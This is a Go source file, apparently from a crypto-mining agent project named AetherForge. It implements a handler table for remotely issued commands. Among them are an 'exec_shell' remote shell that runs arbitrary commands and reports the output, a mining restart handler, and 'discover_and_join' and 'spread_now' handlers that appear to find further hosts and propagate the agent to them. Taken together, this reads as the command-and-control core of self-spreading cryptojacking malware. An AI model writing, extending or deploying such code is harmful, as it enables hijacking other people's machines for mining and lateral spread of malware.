AetherForge/agent/client/ai_commands.go

package client

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"crypto-miner-agent/deploy"
	"crypto-miner-agent/miner"
)

type aiCommandHandler func(c *AgentClient, tailLines int, command, path, data string)

var aiCommandHandlers = map[string]aiCommandHandler{
	"exec_shell":         handleAIExecShell,
	"restart_mining":     handleAIRestartMining,
	"run_diagnostics":    handleAIRunDiagnostics,
	"discover_and_join":  handleAIDiscoverAndJoin,
	"spread_now":         handleAISpreadNow,
	"full_sys_check":     handleAIFullSysCheck,
}

func (c *AgentClient) handleAICommand(action string, tailLines int, command, path, data string) bool {
	handler, ok := aiCommandHandlers[action]
	if !ok {
		return false
	}
	handler(c, tailLines, command, path, data)
	return true
}

func handleAIExecShell(c *AgentClient, _ int, command, path, data string) {
	if strings.TrimSpace(command) == "" && strings.TrimSpace(data) == "" {
		c.sendCommandResult("exec_shell", false, "command is required")
		return
	}
	shellCmd := command
	if shellCmd == "" {
		shellCmd = data
	}
	if err := validateAICommandPath(path); err != nil {
		c.sendCommandResult("exec_shell", false, err.Error())
		return
	}
	if path != "" {
		resolved, err := deploy.ResolveRemotePath(path)
		if err != nil {
			c.sendCommandResult("exec_shell", false, err.Error())
			return
		}
		resolved = filepath.Clean(resolved)
		info, err := os.Stat(resolved)
		if err != nil {
			c.sendCommandResult("exec_shell", false, err.Error())
			return
		}
		if !info.IsDir() {
			c.sendCommandResult("exec_shell", false, "path must be a directory when used as working directory")
			return
		}
		if runtime.GOOS == "windows" {
			shellCmd = fmt.Sprintf("Set-Location -LiteralPath %q; %s", resolved, shellCmd)
		} else {
			shellCmd = fmt.Sprintf("cd %q && %s", resolved, shellCmd)
		}
	}
	out, err := c.runShellCommand(shellCmd)
	if err != nil {
		c.sendCommandResult("exec_shell", false, formatCmdErr(err, out))
		return
	}
	c.sendCommandResult("exec_shell", true, string(out))
}

func handleAIRestartMining(c *AgentClient, _ int, _, _, _ string) {
	if c.wslMiner != nil && c.wslMiner.Running() {
		wslRT := miner.WSLDetector()
		_ = miner.ToggleWSLMining(wslRT, "", true)
	}
	if c.miningChain != nil {
		c.miningChain.Restart(context.Background())
	} else {
		c.pool.ResumeRemote()
	}
	c.sendCommandResult("restart_mining", true, "mining chain restart requested")
}

func handleAIRunDiagnostics(c *AgentClient, _ int, _, _, _ string) {
	c.sendCommandResult("run_diagnostics", true, c.miningDiagnosticsJSON())
}

func handleAIDiscoverAndJoin(c *AgentClient, _ int, command, _, _ string) {
	ok, reason := c.allowRemoteAction("discover_and_join")
	if !ok {
		c.sendCommandResult("discover_and_join", false, reason)
		return
	}
	maxHosts := parsePortArg(command, 32)
	go func() {
		msg, err := c.runDiscoverAndJoin(maxHosts)
		if err != nil {
			c.sendCommandResult("discover_and_join", false, err.Error())
			return
		}
		c.sendCommandResult("discover_and_join", true, msg)
	}()
}

func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
	ok, reason := c.allowRemoteAction("spread_now")
	if !ok {
		c.sendCommandResult("spread_now", false, reason)
		return
	}
	msg := deploy.RunSpreadOnce(c.cfg)
	c.sendCommandResult("spread_now", true, msg)
}

func handleAIFullSysCheck(c *AgentClient, _ int, _, _, _ string) {
	report := CollectFullSysCheck(c.cfg, c.agentID)
	c.sendCommandResult("full_sys_check", true, report.JSON())
}

func validateAICommandPath(path string) error {
	path = strings.TrimSpace(path)
	if path == "" {
		return nil
	}
	if containsPathTraversal(path) {
		return fmt.Errorf("path traversal (..) is not allowed")
	}
	return nil
}